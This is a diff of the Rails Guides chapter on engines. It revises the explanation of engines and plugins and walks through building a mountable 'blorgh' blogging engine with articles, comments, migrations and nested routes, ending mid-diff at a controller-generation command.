-directory structure, and are both generated using the `rails plugin new`
-generator. The difference is that an engine is considered a "full plugin" by
-Rails (as indicated by the `--full` option that's passed to the generator
-command). We'll actually be using the `--mountable` option here, which includes
-all the features of `--full`, and then some. This guide will refer to these
-"full plugins" simply as "engines" throughout. An engine **can** be a plugin,
-and a plugin **can** be an engine.
-
-The engine that will be created in this guide will be called "blorgh". This
-engine will provide blogging functionality to its host applications, allowing
-for new articles and comments to be created. At the beginning of this guide, you
-will be working solely within the engine itself, but in later sections you'll
-see how to hook it into an application.
-
-Engines can also be isolated from their host applications. This means that an
-application is able to have a path provided by a routing helper such as
-`articles_path` and use an engine that also provides a path also called
-`articles_path`, and the two would not clash. Along with this, controllers, models
-and table names are also namespaced. You'll see how to do this later in this
-guide.
-
-It's important to keep in mind at all times that the application should
-**always** take precedence over its engines. An application is the object that
-has final say in what goes on in its environment. The engine should
-only be enhancing it, rather than changing it drastically.
-
-To see demonstrations of other engines, check out
-[Devise](https://github.com/plataformatec/devise), an engine that provides
-authentication for its parent applications, or
-[Thredded](https://github.com/thredded/thredded), an engine that provides forum
-functionality. There's also [Spree](https://github.com/spree/spree) which
-provides an e-commerce platform, and
-[RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine.
-
-Finally, engines would not have been possible without the work of James Adam,
-Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever
-meet them, don't forget to say thanks!
-
-Generating an engine
---------------------
-
-To generate an engine, you will need to run the plugin generator and pass it
-options as appropriate to the need. For the "blorgh" example, you will need to
-create a "mountable" engine, running this command in a terminal:
+Engines can be thought of as miniature applications that encapsulate specific
+functionality and integrate with a larger Rails application. An engine extends a
+[plugin](plugins.html), with the
+[`Rails::Engine`](https://api.rubyonrails.org/classes/Rails/Engine.html) class
+[inheriting](engines.html#the-inheritance-hierarchy) behavior from
+[`Rails::Railtie`](https://api.rubyonrails.org/classes/Rails/Railtie.html).
+
+Some examples of engines in action:
+
+* [Devise](https://github.com/heartcombo/devise) which provides authentication
+  for its parent applications
+* [Thredded](https://github.com/thredded/thredded) which provides forum
+  functionality
+* [Refinery CMS](https://github.com/refinery/refinerycms) which provides a CMS
+  engine
+* [Active Storage](https://github.com/rails/rails/tree/main/activestorage) which
+  provides file storage as an engine.
+* [Action Text](https://github.com/rails/rails/tree/main/actiontext) which
+  provides a rich text editor as an engine.
+* [`Rails::Application`](https://api.rubyonrails.org/classes/Rails/Application.html)
+  inheriting much of its behavior from `Rails::Engine`.
+
+
+NOTE: The main application is always the final authority in a Rails environment.
+While engines can extend or enhance the application's functionality, they are
+meant to support the app — not override or redefine its behavior. Engines exist
+to serve the application, not the other way around.
+
+### Inheritance Hierarchy
+
+At the base of this hierarchy,
+[`Railtie`](https://api.rubyonrails.org/classes/Rails/Railtie.html) is the core
+building block of the Rails framework. It provides hooks into the Rails
+initialization process and allows extensions, such as frameworks (e.g. Active
+Record, Action Mailer) or third-party libraries, to tie into the Rails boot
+sequence.
+
+The [`Rails Engine`](https://api.rubyonrails.org/classes/Rails/Engine.html)
+builds on `Railtie` by adding support for things like routes, isolated
+namespaces, and load paths, making it possible to package complete Rails
+components. Engines and applications also share a common directory structure.
+
+While an engine is packaged like a miniature Rails application, it runs inside a
+host Rails application. The host
+[Rails::Application](https://api.rubyonrails.org/classes/Rails/Application.html)
+coordinates boot, executes engine initializers, and builds the overall
+middleware stack. Engines can also define their own configuration and contribute
+middleware, but these take effect when the host application boots.
+
+### Engines and Plugins
+
+Engines are also closely related to plugins - all engines are plugins, but not
+all plugins are engines. The two share a common `lib` directory structure, and
+are both generated using the `rails plugin new` generator.
+
+While a plugin is generated using `rails plugin new <plugin_name>`, an engine is
+generated using either:
 
 ```bash
-$ rails plugin new blorgh --mountable
+rails plugin new <engine_name> --full
+# or
+rails plugin new <engine_name> --mountable
 ```
 
-The full list of options for the plugin generator may be seen by typing:
+The `--full` option tells the generator to create an engine with its own
+models/controllers that share the host app’s namespace. The `--mountable` option
+creates a fully isolated, mountable engine with its own namespace.
+
+You can read more about the different generator options in the [Rails Plugins
+Generator Options](plugins.html#generator-options) section.
+
+### Using an Engine
+
+You add an engine to your host application's `Gemfile`, and depending on how the
+engine is designed, you may need to mount it in the main app's routes. Mounting
+is required when the engine provides its own routes, as this makes any routes,
+controllers, views, or assets defined in the engine available at that mount
+point in the host application. This is covered later in the section [Using the
+Engine in a Host Application](#using-the-engine-in-a-host-application).
+
+Some engines, however, don't need to be mounted. These are often backend-only
+engines, such as those that provide Active Record models, rake tasks, or other
+internal functionality without exposing routes. In these cases, adding the gem
+to your application's Gemfile is enough to make its features available.
+
+When an engine is mounted, it has an isolated namespace. This means the host
+application and the mounted engine can have a routing helper with the same name
+(such as `articles_path`) without clashing. Along with this, controllers,
+models, and table names are also namespaced. You'll see how to do this later in
+the [Routes section](#routes).
+
+Generating an Engine
+--------------------
+
+In the following example, you will be building an engine, called "blorgh" that
+provides blogging functionality to its host applications, allowing for new
+articles and comments to be created. It will use the [`--mountable`
+option](plugins.html#generator-options) to generate the engine.
+
+To generate an engine, you will need to run the plugin generator and pass it
+options as needed. For the "blorgh" example, you will need to create a
+"mountable" engine, running this command in a terminal:
 
 ```bash
-$ rails plugin --help
+$ rails plugin new blorgh --mountable
 ```
 
-The `--mountable` option tells the generator that you want to create a
-"mountable" and namespace-isolated engine. This generator will provide the same
-skeleton structure as would the `--full` option. The `--full` option tells the
-generator that you want to create an engine, including a skeleton structure
-that provides the following:
+The `--mountable` option allows the engine to behave like a self-contained
+mini-application that can be easily integrated into a host Rails application
+without polluting its global namespace. It will:
+
+- namespace all controllers, routes, views, helpers, and assets under the
+  `Blorgh` module, preventing conflicts with similarly named components in the
+  host app.
+- isolate routing to the engine, allowing you to mount it at a specific path in
+  the host app (e.g., `/blorgh`), while keeping its internal route structure
+  independent.
+- make the engine more modular and reusable, so it can be plugged into different
+  applications with minimal configuration.
+
+### The Directory Structure
+
+The structure of the `--mountable` engine will be as follows:
+
+```
+blorgh/
+├── app/
+│   ├── assets/
+│   │   ├── images/
+│   │   │   └── blorgh/
+│   │   └── stylesheets/
+│   │       └── blorgh/
+│   │           └── application.css
+│   ├── controllers/
+│   │   ├── concerns/
+│   │   └── blorgh/
+│   │       └── application_controller.rb
+│   ├── helpers/
+│   │   └── blorgh/
+│   │       └── application_helper.rb
+│   ├── jobs/
+│   │   └── blorgh/
+│   │       └── application_job.rb
+│   ├── mailers/
+│   │   └── blorgh/
+│   │       └── application_mailer.rb
+│   ├── models/
+│   │   ├── concerns/
+│   │   └── blorgh/
+│   │       └── application_record.rb
+│   └── views/
+│       └── layouts/
+│           └── blorgh/
+│               └── application.html.erb
+├── bin/
+│   ├── rails
+│   └── rubocop
+├── config/
+│   └── routes.rb
+├── lib/
+│   └── tasks/
+│       └── blorgh_tasks.rake
+│   ├── blorgh/
+│   │   ├── engine.rb
+│   │   └── version.rb
+│   ├── blorgh.rb
+├── test/
+│   ├── controllers/
+│   └── dummy/
+│       ├── app/
+│       ├── bin/
+│       ├── config/
+│       ├── log/
+│       ├── public/
+│       ├── storage/
+│       ├── tmp/
+│   ├── fixtures/
+│   │   └── files/
+│   ├── helpers/
+│   ├── integration/
+│   │   └── navigation_test.rb
+│   ├── mailers/
+│   ├── models/
+│   ├── blorgh_test.rb
+│   ├── test_helper.rb
+├── Gemfile
+├── Rakefile
+├── README.md
+├── blorgh.gemspec
+```
+
+It provides the following:
 
   * An `app` directory tree
   * A `config/routes.rb` file:
@@ -103,15 +226,18 @@ that provides the following:
     standard Rails application's `config/application.rb` file:
 
     ```ruby
+    # lib/blorgh/engine.rb
+
     module Blorgh
       class Engine < ::Rails::Engine
+        isolate_namespace Blorgh
       end
     end
     ```
 
-The `--mountable` option will add to the `--full` option:
+`--mountable` engines, like above, contain some files that are not present in
+the `--full` option, these are:
 
-  * Asset manifest files (`application.js` and `application.css`)
   * A namespaced `ApplicationController` stub
   * A namespaced `ApplicationHelper` stub
   * A layout view template for the engine
@@ -122,15 +248,7 @@ The `--mountable` option will add to the `--full` option:
     end
     ```
 
-  * Namespace isolation to `lib/blorgh/engine.rb`:
-
-    ```ruby
-    module Blorgh
-      class Engine < ::Rails::Engine
-        isolate_namespace Blorgh
-      end
-    end
-    ```
+  * Namespace isolation to `lib/blorgh/engine.rb` as described above.
 
 Additionally, the `--mountable` option tells the generator to mount the engine
 inside the dummy testing application located at `test/dummy` by adding the
@@ -141,25 +259,48 @@ following to the dummy application's routes file at
 mount Blorgh::Engine => "/blorgh"
 ```
 
-### Inside an Engine
+A full list of options for the plugin generator can be seen by running:
+
+```bash
+$ rails plugin --help
+```
+
+### Core Engine Setup
+
+#### The `.gemspec` File
 
-#### Critical Files
+At the root of your engine, you’ll find a file named `blorgh.gemspec`. This file
+defines your engine as a gem. It includes metadata like the gem name, version,
+authors, dependencies, and which files to include when it's packaged.
 
-At the root of this brand new engine's directory lives a `blorgh.gemspec` file.
-When you include the engine into an application later on, you will do so with
-this line in the Rails application's `Gemfile`:
+To use this engine in a host Rails application, you reference it in the app’s
+`Gemfile` like so:
 
 ```ruby
-gem 'blorgh', path: 'engines/blorgh'
+gem "blorgh", path: "../blorgh"
+```
+
+Then run:
+
+```bash
+bundle install
 ```
 
-Don't forget to run `bundle install` as usual. By specifying it as a gem within
-the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file
-and requiring a file within the `lib` directory called `lib/blorgh.rb`. This
-file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`)
-and defines a base module called `Blorgh`.
+This tells Bundler to treat the engine as a gem and load it accordingly.
+
+INFO: Instead of publishing an engine as a standalone gem, you can generate an
+engine inside your application and deploy it for use by that application only.
+For example, placing the engine under `engines/blorgh` and referencing it in
+your `Gemfile` allows you to keep it within the same codebase.
+
+#### The Engine Entry Point: `lib/blorgh.rb`:
+
+Bundler looks for a file matching the gem name, `lib/blorgh.rb`. This file is
+the main entry point of the engine. It typically requires the engine definition
+and sets up a base module:
 
 ```ruby
+# lib/blorgh.rb
 require "blorgh/engine"
 
 module Blorgh
@@ -171,9 +312,12 @@ for their engine. It's a relatively good idea, so if you want to offer
 configuration options, the file where your engine's `module` is defined is
 perfect for that. Place the methods inside the module and you'll be good to go.
 
-Within `lib/blorgh/engine.rb` is the base class for the engine:
+#### The Engine Class Definition: `lib/blorgh/engine.rb`
+
+This file defines the engine class and tells Rails how to load and isolate it:
 
 ```ruby
+# lib/blorgh/engine.rb
 module Blorgh
   class Engine < ::Rails::Engine
     isolate_namespace Blorgh
@@ -182,135 +326,143 @@ end
 ```
 
 By inheriting from the `Rails::Engine` class, this gem notifies Rails that
-there's an engine at the specified path, and will correctly mount the engine
-inside the application, performing tasks such as adding the `app` directory of
-the engine to the load path for models, mailers, controllers, and views.
-
-The `isolate_namespace` method here deserves special notice. This call is
-responsible for isolating the controllers, models, routes and other things into
-their own namespace, away from similar components inside the application.
-Without this, there is a possibility that the engine's components could "leak"
-into the application, causing unwanted disruption, or that important engine
-components could be overridden by similarly named things within the application.
-One of the examples of such conflicts is helpers. Without calling
-`isolate_namespace`, the engine's helpers would be included in an application's
-controllers.
-
-NOTE: It is **highly** recommended that the `isolate_namespace` line be left
-within the `Engine` class definition. Without it, classes generated in an engine
-**may** conflict with an application.
-
-What this isolation of the namespace means is that a model generated by a call
-to `bin/rails g model`, such as `bin/rails g model article`, won't be called `Article`, but
-instead be namespaced and called `Blorgh::Article`. In addition, the table for the
-model is namespaced, becoming `blorgh_articles`, rather than simply `articles`.
-Similar to the model namespacing, a controller called `ArticlesController` becomes
-`Blorgh::ArticlesController` and the views for that controller will not be at
-`app/views/articles`, but `app/views/blorgh/articles` instead. Mailers are namespaced
-as well.
-
-Finally, routes will also be isolated within the engine. This is one of the most
-important parts about namespacing, and is discussed later in the
-[Routes](#routes) section of this guide.
-
-#### `app` Directory
-
-Inside the `app` directory are the standard `assets`, `controllers`, `helpers`,
-`mailers`, `models` and `views` directories that you should be familiar with
-from an application. The `helpers`, `mailers` and `models` directories are
-empty, so they aren't described in this section. We'll look more into models in
-a future section, when we're writing the engine.
-
-Within the `app/assets` directory, there are the `images`, `javascripts` and
-`stylesheets` directories which, again, you should be familiar with due to their
-similarity to an application. One difference here, however, is that each
-directory contains a sub-directory with the engine name. Because this engine is
-going to be namespaced, its assets should be too.
-
-Within the `app/controllers` directory there is a `blorgh` directory that
-contains a file called `application_controller.rb`. This file will provide any
-common functionality for the controllers of the engine. The `blorgh` directory
-is where the other controllers for the engine will go. By placing them within
-this namespaced directory, you prevent them from possibly clashing with
-identically-named controllers within other engines or even within the
-application.
+there's an engine at the specified path. Rails will automatically:
+
+* Add the engine’s `app/` folder to the load path.
+* Load the engine’s models, mailers, controllers, and views.
+
+The `isolate_namespace Blorgh` from the Engine class is crucial. It prevents
+your engine’s components (like models, routes, helpers, and controllers) from
+clashing with those in the host application or other engines.
+
+For example:
+
+* A generated model becomes `Blorgh::Article` rather than `Article`.
+* The table name is `blorgh_articles`, not `articles`.
+* A controller becomes `Blorgh::ArticlesController`, with views in
+  `app/views/blorgh/articles`.
+* A helper becomes `Blorgh::ArticlesHelper`.
+* Mailers and Jobs are namespaced as well.
+* Engine routes are kept isolated and don’t mix with the main app’s routes. This
+  is discussed later in the [Routes](#routes) section of this guide.
+
+NOTE: It is recommended that the `isolate_namespace` line be left within the
+`Engine` class definition. Without this isolation, files from the engine might
+"leak" into the host app’s namespace or identically named classes might override
+each other.
+
+### Understanding the `app` Directory
 
-NOTE: The `ApplicationController` class inside an engine is named just like a
-Rails application in order to make it easier for you to convert your
-applications into engines.
+The `app` directory in a mountable engine mirrors the familiar structure of a
+standard Rails application. It includes subdirectories like `assets`,
+`controllers`, `helpers`, `jobs`, `mailers`, `models`, and `views`.
 
-NOTE: Because of the way that Ruby does constant lookup you may run into a situation
-where your engine controller is inheriting from the main application controller and
-not your engine's application controller. Ruby is able to resolve the `ApplicationController` constant, and therefore the autoloading mechanism is not triggered. See the section [When Constants Aren't Missed](autoloading_and_reloading_constants.html#when-constants-aren-t-missed) of the [Autoloading and Reloading Constants](autoloading_and_reloading_constants.html) guide for further details. The best way to prevent this from
-happening is to use `require_dependency` to ensure that the engine's application
-controller is loaded. For example:
+Here’s what you should know about each of these, especially in the context of a
+namespaced engine like `blorgh`:
 
-``` ruby
-# app/controllers/blorgh/articles_controller.rb:
-require_dependency "blorgh/application_controller"
+#### `app/assets`
 
+Inside `app/assets`, you’ll find directories for `images` and `stylesheets`.
+Each of these contains a subdirectory named after your engine—`blorgh` in this
+case.
+
+This namespacing is important because it ensures that your engine’s assets don’t
+conflict with those from other engines or the host application. For example:
+
+```
+app/assets/stylesheets/blorgh/application.css
+```
+
+#### `app/controllers`
+
+The `controllers` folder contains a `blorgh/` subdirectory where all engine
+controllers live. It starts with an `application_controller.rb`:
+
+```ruby
+# app/controllers/blorgh/application_controller.rb
 module Blorgh
-  class ArticlesController < ApplicationController
-    ...
+  class ApplicationController < ActionController::Base
   end
 end
 ```
 
-WARNING: Don't use `require` because it will break the automatic reloading of classes
-in the development environment - using `require_dependency` ensures that classes are
-loaded and unloaded in the correct manner.
+This controller acts as the base for all controllers in the engine, much like
+`ApplicationController` does in a full app. Placing it (and all other
+controllers) in the `blorgh/` module ensures they won’t clash with similarly
+named controllers in the host app or other engines.
+
+#### Other Namespaced Directories
+
+Similar to `app/controllers`, you’ll find a `blorgh/` subdirectory under these
+other top-level folders:
+
+* `app/helpers/blorgh/`
+* `app/jobs/blorgh/`
+* `app/mailers/blorgh/`
+* `app/models/blorgh/`
 
-Lastly, the `app/views` directory contains a `layouts` folder, which contains a
-file at `blorgh/application.html.erb`. This file allows you to specify a layout
-for the engine. If this engine is to be used as a stand-alone engine, then you
-would add any customization to its layout in this file, rather than the
+Each of these may include a corresponding `application_*.rb` file (e.g.,
+`application_helper.rb`) for defining shared behavior.
+
+This consistent namespacing helps prevent naming collisions and keeps your
+engine modular and encapsulated.
+
+#### `app/views`
+
+Inside `app/views/layouts`, you’ll find a layout file for the engine:
+
+```
+app/views/layouts/blorgh/application.html.erb
+```
+
+This is the default layout used by views inside the engine. It’s useful if your
+engine is meant to be used as a self-contained application (e.g., admin
+dashboards, wikis, etc.). If this engine is to be used as a stand-alone engine,
+then you would add any customization to its layout in this file, rather than the
 application's `app/views/layouts/application.html.erb` file.
 
-If you don't want to force a layout on to users of the engine, then you can
-delete this file and reference a different layout in the controllers of your
+If you don't want to use a specific layout in the views of the engine, then you
+can delete this file and reference a different layout in the controllers of your
 engine.
 
-#### `bin` Directory
+#### `/bin`
 
 This directory contains one file, `bin/rails`, which enables you to use the
 `rails` sub-commands and generators just like you would within an application.
-This means that you will be able to generate new controllers and models for this
+This means that you are able to generate new controllers and models for this
 engine very easily by running commands like this:
 
 ```bash
-$ bin/rails g model
+$ bin/rails generate model
 ```
 
 Keep in mind, of course, that anything generated with these commands inside of
 an engine that has `isolate_namespace` in the `Engine` class will be namespaced.
 
-#### `test` Directory
+#### `/test`
 
 The `test` directory is where tests for the engine will go. To test the engine,
 there is a cut-down version of a Rails application embedded within it at
-`test/dummy`. This application will mount the engine in the
-`test/dummy/config/routes.rb` file:
+`test/dummy`. This application will mount the engine at `/blorgh`, which will
+make it accessible through the application's routes at that path.
 
 ```ruby
+# test/dummy/config/routes.rb
 Rails.application.routes.draw do
   mount Blorgh::Engine => "/blorgh"
 end
 ```
 
-This line mounts the engine at the path `/blorgh`, which will make it accessible
-through the application only at that path.
-
 Inside the test directory there is the `test/integration` directory, where
 integration tests for the engine should be placed. Other directories can be
 created in the `test` directory as well. For example, you may wish to create a
 `test/models` directory for your model tests.
 
-Providing engine functionality
+Providing Engine Functionality
 ------------------------------
 
-The engine that this guide covers provides submitting articles and commenting
-functionality and follows a similar thread to the [Getting Started
-Guide](getting_started.html), with some new twists.
+The engine that we'll build, `blorgh`, will allow you to add article submissions
+and comment functionality when added to any Rails application.
 
 ### Generating an Article Resource
 
@@ -325,7 +477,7 @@ This command will output this information:
 
 ```
 invoke  active_record
-create    db/migrate/[timestamp]_create_blorgh_articles.rb
+create    db/migrate/<timestamp>_create_blorgh_articles.rb
 create    app/models/blorgh/article.rb
 invoke    test_unit
 create      test/models/blorgh/article_test.rb
@@ -341,35 +493,37 @@ create      app/views/blorgh/articles/edit.html.erb
 create      app/views/blorgh/articles/show.html.erb
 create      app/views/blorgh/articles/new.html.erb
 create      app/views/blorgh/articles/_form.html.erb
+create      app/views/blorgh/articles/_article.html.erb
+invoke    resource_route
 invoke    test_unit
 create      test/controllers/blorgh/articles_controller_test.rb
+create      test/system/blorgh/articles_test.rb
 invoke    helper
 create      app/helpers/blorgh/articles_helper.rb
-invoke  assets
-invoke    js
-create      app/assets/javascripts/blorgh/articles.js
-invoke    css
-create      app/assets/stylesheets/blorgh/articles.css
-invoke  css
-create    app/assets/stylesheets/scaffold.css
-```
-
-The first thing that the scaffold generator does is invoke the `active_record`
-generator, which generates a migration and a model for the resource. Note here,
-however, that the migration is called `create_blorgh_articles` rather than the
-usual `create_articles`. This is due to the `isolate_namespace` method called in
-the `Blorgh::Engine` class's definition. The model here is also namespaced,
-being placed at `app/models/blorgh/article.rb` rather than `app/models/article.rb` due
-to the `isolate_namespace` call within the `Engine` class.
+invoke      test_unit
+```
+
+#### The Migration and Model
+
+The scaffold generator invokes the `active_record` generator, which generates a
+_migration_ and a _model_ for the resource.
+
+NOTE: The migration is named `create_blorgh_articles` instead of the usual
+`create_articles`, and the model is located at `app/models/blorgh/article.rb`
+rather than `app/models/article.rb`, since we used the `isolate_namespace`
+method in the `Blorgh::Engine` class.
+
+#### The Test and Fixture
 
 Next, the `test_unit` generator is invoked for this model, generating a model
 test at `test/models/blorgh/article_test.rb` (rather than
-`test/models/article_test.rb`) and a fixture at `test/fixtures/blorgh/articles.yml`
-(rather than `test/fixtures/articles.yml`).
+`test/models/article_test.rb`) and a fixture at
+`test/fixtures/blorgh/articles.yml` (rather than `test/fixtures/articles.yml`).
+
+#### The Route
 
-After that, a line for the resource is inserted into the `config/routes.rb` file
-for the engine. This line is simply `resources :articles`, turning the
-`config/routes.rb` file for the engine into this:
+Thereafter,`resources :articles`, for the `article` resource, is inserted into
+the `config/routes.rb` file for the engine.
 
 ```ruby
 Blorgh::Engine.routes.draw do
@@ -377,27 +531,32 @@ Blorgh::Engine.routes.draw do
 end
 ```
 
-Note here that the routes are drawn upon the `Blorgh::Engine` object rather than
-the `YourApp::Application` class. This is so that the engine routes are confined
-to the engine itself and can be mounted at a specific point as shown in the
-[test directory](#test-directory) section. It also causes the engine's routes to
-be isolated from those routes that are within the application. The
-[Routes](#routes) section of this guide describes it in detail.
+NOTE: The routes are created on the `Blorgh::Engine` object rather than the
+`YourApp::Application` class. This ensures that the engine routes are confined
+to the engine itself and can be mounted at a specific point, as shown in the
+[Writing Tests](#writing-tests) section. It also allows the engine's routes to
+be isolated from routes that are within the application. The [Routes](#routes)
+section of this guide describes it in detail.
+
+#### The Controller and Views
 
 Next, the `scaffold_controller` generator is invoked, generating a controller
 called `Blorgh::ArticlesController` (at
-`app/controllers/blorgh/articles_controller.rb`) and its related views at
-`app/views/blorgh/articles`. This generator also generates a test for the
-controller (`test/controllers/blorgh/articles_controller_test.rb`) and a helper
+`app/controllers/blorgh/articles_controller.rb`) and its related views are
+created at `app/views/blorgh/articles`.
+
+This generator also generates tests for the controller
+(`test/controllers/blorgh/articles_controller_test.rb` and
+`test/system/blorgh/articles_test.rb`) and a helper
 (`app/helpers/blorgh/articles_helper.rb`).
 
-Everything this generator has created is neatly namespaced. The controller's
-class is defined within the `Blorgh` module:
+Once again, everything is namespaced. The controller's class is defined within
+the `Blorgh` module:
 
 ```ruby
 module Blorgh
   class ArticlesController < ApplicationController
-    ...
+    # ...
   end
 end
 ```
@@ -405,108 +564,147 @@ end
 NOTE: The `ArticlesController` class inherits from
 `Blorgh::ApplicationController`, not the application's `ApplicationController`.
 
+#### The Helper
+
 The helper inside `app/helpers/blorgh/articles_helper.rb` is also namespaced:
 
 ```ruby
 module Blorgh
   module ArticlesHelper
-    ...
+    # ...
   end
 end
 ```
 
-This helps prevent conflicts with any other engine or application that may have
-an article resource as well.
+This prevents conflicts with any other engine or application that may have an
+article resource as well.
+
+#### Exploring the Engine in the Browser
 
-Finally, the assets for this resource are generated in two files:
-`app/assets/javascripts/blorgh/articles.js` and
-`app/assets/stylesheets/blorgh/articles.css`. You'll see how to use these a little
-later.
+You can explore the engine by first running `bin/rails db:migrate` at the root
+of the engine. Then run `bin/rails server` in the engine's root directory to
+start the server.
 
-You can see what the engine has so far by running `bin/rails db:migrate` at the root
-of our engine to run the migration generated by the scaffold generator, and then
-running `rails server` in `test/dummy`. When you open
-`http://localhost:3000/blorgh/articles` you will see the default scaffold that has
-been generated. Click around! You've just generated your first engine's first
-functions.
+When you open `http://localhost:3000/blorgh/articles` you will see the default
+scaffold that has been generated.
 
-If you'd rather play around in the console, `rails console` will also work just
-like a Rails application. Remember: the `Article` model is namespaced, so to
+Congratulations, you've just generated your first engine!
+
+#### Exploring the Engine in the Console
+
+If you'd rather explore in the console, you can run `bin/rails console` in the
+root directory of the engine. Remember: the `Article` model is namespaced, so to
 reference it you must call it as `Blorgh::Article`.
 
-```ruby
->> Blorgh::Article.find(1)
-=> #<Blorgh::Article id: 1 ...>
+```irb
+irb> Blorgh::Article.create(title: "Hello, world!", text: "This is a test article.")
+=>  #<Blorgh::Article id: 1, title: "Hello, world!", text: "This is a test article.", created_at: "2025-07-13 07:55:27.610591000 +0000", updated_at: "2025-07-13 07:55:27.610591000 +0000">
+
+irb> Blorgh::Article.find(1)
+=> #<Blorgh::Article id: 1, title: "Hello, world!" ...>
 ```
 
-One final thing is that the `articles` resource for this engine should be the root
-of the engine. Whenever someone goes to the root path where the engine is
-mounted, they should be shown a list of articles. This can be made to happen if
-this line is inserted into the `config/routes.rb` file inside the engine:
+Whenever someone goes to the root path where the engine is mounted, they should
+be shown a list of articles. To do this, add the following line
 
 ```ruby
 root to: "articles#index"
 ```
 
-Now people will only need to go to the root of the engine to see all the articles,
-rather than visiting `/articles`. This means that instead of
-`http://localhost:3000/blorgh/articles`, you only need to go to
-`http://localhost:3000/blorgh` now.
+to the `config/routes.rb` file inside the engine.
+
+Now you will only need to go to the root of the engine to see all the articles,
+rather than visiting `/articles`. This means that instead of visiting
+`http://localhost:3000/blorgh/articles`, you can now go to
+`http://localhost:3000/blorgh`.
 
 ### Generating a Comments Resource
 
-Now that the engine can create new articles, it only makes sense to add
-commenting functionality as well. To do this, you'll need to generate a comment
-model, a comment controller and then modify the articles scaffold to display
-comments and allow people to create new ones.
+Now that the engine can create new articles, add the ability to comment. To do
+this, you'll need to generate a comment model, a comment controller, and then
+modify the articles scaffold to display comments and allow people to create new
+ones.
 
-From the application root, run the model generator. Tell it to generate a
-`Comment` model, with the related table having two columns: an `article_id` integer
-and `text` text column.
+From the engine root, run the model generator to generate a `Comment` model,
+with the related table having two columns: an `article` references column and a
+`text` text column.
 
 ```bash
-$ bin/rails generate model Comment article_id:integer text:text
+$ bin/rails generate model Comment article:references text:text
 ```
 
 This will output the following:
 
 ```
 invoke  active_record
-create    db/migrate/[timestamp]_create_blorgh_comments.rb
+create    db/migrate/<timestamp>_create_blorgh_comments.rb
 create    app/models/blorgh/comment.rb
 invoke    test_unit
 create      test/models/blorgh/comment_test.rb
 create      test/fixtures/blorgh/comments.yml
 ```
 
-This generator call will generate just the necessary model files it needs,
-namespacing the files under a `blorgh` directory and creating a model class
-called `Blorgh::Comment`. Now run the migration to create our blorgh_comments
-table:
+This will generate a `Blorgh::Comment` model and a migration to create the
+`blorgh_comments` table.
+
+The generated migration will look like this:
+
+```ruby
+# db/migrate/<timestamp>_create_blorgh_comments.rb
+class CreateBlorghComments < ActiveRecord::Migration[8.0]
+  def change
+    create_table :blorgh_comments do |t|
+      t.references :article, null: false, foreign_key: true
+      t.text :text
+
+      t.timestamps
+    end
+  end
+end
+```
+
+However, since you're building an isolated engine, the model `Blorgh::Comment`
+references `Blorgh::Article`, so the `article_id` foreign key should point to
+the `blorgh_articles` table, not an `articles` table.
+
+To fix this, you can modify the existing migration file to look like this:
+
+```ruby
+# db/migrate/<timestamp>_create_blorgh_comments.rb
+class CreateBlorghComments < ActiveRecord::Migration[8.0]
+  def change
+    create_table :blorgh_comments do |t|
+      t.references :article, null: false, foreign_key: { to_table: :blorgh_articles }
+      t.text :text
+
+      t.timestamps
+    end
+  end
+end
+```
+
+Now, you can run the migration to create the `blorgh_comments` table:
 
 ```bash
 $ bin/rails db:migrate
 ```
 
-To show the comments on an article, edit `app/views/blorgh/articles/show.html.erb` and
-add this line before the "Edit" link:
+#### Updating the View to Show the Comments
+
+To show the comments on an article, edit
+`app/views/blorgh/articles/show.html.erb` and add this line before the "Edit"
+link:
 
 ```html+erb
 <h3>Comments</h3>
 <%= render @article.comments %>
 ```
 
-This line will require there to be a `has_many` association for comments defined
-on the `Blorgh::Article` model, which there isn't right now. To define one, open
-`app/models/blorgh/article.rb` and add this line into the model:
-
-```ruby
-has_many :comments
-```
-
-Turning the model into this:
+To get the comments to display on an article, define a `has_many` association on
+the `Blorgh::Article` model:
 
 ```ruby
+# app/models/blorgh/article.rb
 module Blorgh
   class Article < ApplicationRecord
     has_many :comments
@@ -514,38 +712,47 @@ module Blorgh
 end
 ```
 
-NOTE: Because the `has_many` is defined inside a class that is inside the
-`Blorgh` module, Rails will know that you want to use the `Blorgh::Comment`
-model for these objects, so there's no need to specify that using the
-`:class_name` option here.
+NOTE: Since the `has_many` association is defined inside a class that is inside
+the `Blorgh` module, Rails knows that you want to use the `Blorgh::Comment`
+model for these objects, so there's no need to specify the `:class_name` option.
+
+#### Adding a Form and Resource Route to Create Comments
 
-Next, there needs to be a form so that comments can be created on an article. To
-add this, put this line underneath the call to `render @article.comments` in
-`app/views/blorgh/articles/show.html.erb`:
+Next, create a form so that comments can be added to an article. Render the
+`blorgh/comments/form` partial in `app/views/blorgh/articles/show.html.erb`
+underneath the `render @article.comments` line.
 
 ```erb
-<%= render "blorgh/comments/form" %>
+...
+  <%= render @article.comments %>
+
+  <!-- Render the comments form -->
+  <%= render "blorgh/comments/form" %>
+...
 ```
 
-Next, the partial that this line will render needs to exist. Create a new
-directory at `app/views/blorgh/comments` and in it a new file called
-`_form.html.erb` which has this content to create the required partial:
+Next, create the `blorgh/comments/form` partial that we just referenced. To do
+this, create a new directory at `app/views/blorgh/comments` and in it a new file
+called `_form.html.erb` with the following content:
 
 ```html+erb
 <h3>New comment</h3>
-<%= form_for [@article, @article.comments.build] do |f| %>
+<%= form_with model: [@article, @article.comments.build] do |form| %>
   <p>
-    <%= f.label :text %><br>
-    <%= f.text_area :text %>
+    <%= form.label :text %><br>
+    <%= form.textarea :text %>
   </p>
-  <%= f.submit %>
+  <%= form.submit %>
 <% end %>
 ```
 
-When this form is submitted, it is going to attempt to perform a `POST` request
-to a route of `/articles/:article_id/comments` within the engine. This route doesn't
-exist at the moment, but can be created by changing the `resources :articles` line
-inside `config/routes.rb` into these lines:
+When this form is submitted, it will attempt to perform a `POST` request to the
+`/articles/:article_id/comments` route within the engine. You can read more
+about the [`form_with` helper](form_helpers.html#working-with-basic-forms) in
+the guides.
+
+However, this route doesn't exist yet. You can create it by nesting the
+`comments` resource inside the `articles` resource in `config/routes.rb`:
 
 ```ruby
 resources :articles do
@@ -553,13 +760,11 @@ resources :articles do
 end
 ```
 
-This creates a nested route for the comments, which is what the form requires.
-
-The route now exists, but the controller that this route goes to does not. To
-create it, run this command from the application root:
+Now, create the controller that will handle the `POST` request to the
+`/articles/:article_id/comments` route:
 
 ```bash
-$ bin/rails g controller comments
